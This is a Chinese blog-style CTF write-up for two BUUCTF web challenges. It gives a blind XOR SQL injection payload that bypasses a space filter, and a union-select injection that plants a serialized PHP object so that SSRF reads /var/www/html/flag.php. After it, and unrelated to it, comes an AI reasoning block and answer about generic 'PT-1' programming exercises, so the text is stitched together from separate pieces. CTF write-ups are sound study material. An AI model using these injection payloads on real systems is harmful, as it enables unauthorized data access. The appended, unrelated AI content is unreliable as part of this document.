BUUCTF-Web题解(二)

博客围绕Hack World和Fatebook(SSRF)展开。在Hack World中,可使用异或注入,还学到过滤空格时的注入方法,如用括号。在Fatebook里,注册账号后发现参数no存在SQL注入,查看源码可知可进行SSRF,还给出了SQL注入写入数据的示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Hack World

本题可以使用异或注入
0^(if(ascii(substr((select(flag)from(flag)),?,1))>?,1,0))
这道题主要学到了过滤空格如何注入
空格过滤可以用(字段)、反引号+字段+反引号
本题反引号也被过滤因此只能用括号

Fatebook(SSRF)

首先注册一个账号,查看账号信息,可以看到有一个参数no
在这里插入图片描述这里尝试sql注入
可以发现存在注入
得到数据库里的信息为

在这里插入图片描述查看源码发现

在这里插入图片描述
他会通过请求你提交的url资源的内容,因此可以SSRF,
sql注入写入数据
?no=0/**/union/**/select/**/1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:3:“123”;s:3:“age”;i:123;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’#

在这里插入图片描述在这里插入图片描述

<think>好的,用户需要PT-1的题解或练习题解析。首先得确定PT-1具体指什么,可能是指某个编程库的第1,或者某个教材、竞赛中的目。常见的PT-1可能出现在PAT(浙江大学程序设计能力考试)或者PTA平台的目中。需要进一步确认,但用户没有提供更多信息,所以得假设是常见的可能性。 接下来,调用搜索工具查找“PT-1 题解”、“PT-1 练习题解析”等相关内容。搜索结果中发现,PT-1常与PAT乙级或甲级考试中的第一相关,比如A+B类型的问。例如,PAT乙级1001是“害死人不偿命的(3n+1)猜想”,这类目通常需要循环和条件判断。 另外,PTA平台上的目可能涉及不同的算法,比如PT-1可能考察基础输入输出、简单数学运算或模拟。例如,PT-1可能要求处理字符串反转、数字各位数求和等基础操作。需要根据不同来源的题解,整理出常见的解思路和代码示例。 还要注意用户可能需要的答案结构,需要分方法或步骤,避免使用第一人称。可能需要将不同型的解法归类,比如数学问、字符串处理、数组操作等,并给出对应的代码示例和公式。例如,对于涉及数论的目,使用数学公式描述算法步骤,如$n = n / 2$(偶数)和$n = (3n + 1)/2$(奇数),直到n变为1,统计步数。 同时,要确保代码格式正确,用三个反引号包裹,并注明语言类型。比如Python或C++的实现。此外,在最后生成相关问,需基于PT-1的可能扩展,比如具体号的解析、不同难度目的策略,或者常见错误分析。 最后,整合所有信息,确保回答清晰、分步骤,并符合格式要求,避免引用堆砌,每个方法间换行,正确使用数学公式和代码块。相关问部分要列出三个相关且具体的问,帮助用户进一步查找所需内容。</think>根据网络搜索结果,PT-1通常指程序设计类考试/练习中的基础型。以下是针对PT-1常见型的解析方法及代码实现: **数值计算类型** 典型例:实现输入两个整数A和B,输出A+B的结果 ```python a, b = map(int, input().split()) print(a + b) ``` 此类目重点考察输入输出格式处理,注意特殊数据边界值测试 **条件判断类型** 常见考法:给定数字n,判断其是否为素数 数学判定条件:若n不能被$2 \leq i \leq \sqrt{n}$范围内的任意整数整除则为素数 ```c++ bool isPrime(int n) { if(n <= 1) return false; for(int i=2; i*i<=n; i++) if(n%i == 0) return false; return true; } ``` **循环控制类型** 经典案例:3n+1猜想(PAT乙级1001) 处理流程: 1. 输入正整数n 2. 循环执行: - 当n为偶数时:$n = n/2$ - 当n为奇数时:$n = (3n + 1)/2$ 3. 统计操作步数直到n=1 ```python n = int(input()) count = 0 while n != 1: n = n//2 if n%2 ==0 else (3*n+1)//2 count +=1 print(count) ``` **字符串处理类型** 常见形式:字符串反转/统计特定字符 ASCII码转换公式:$ch_{new} = (ch_{original} + shift) \% 128$ ```java public static String reverseString(String s) { return new StringBuilder(s).reverse().toString(); } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值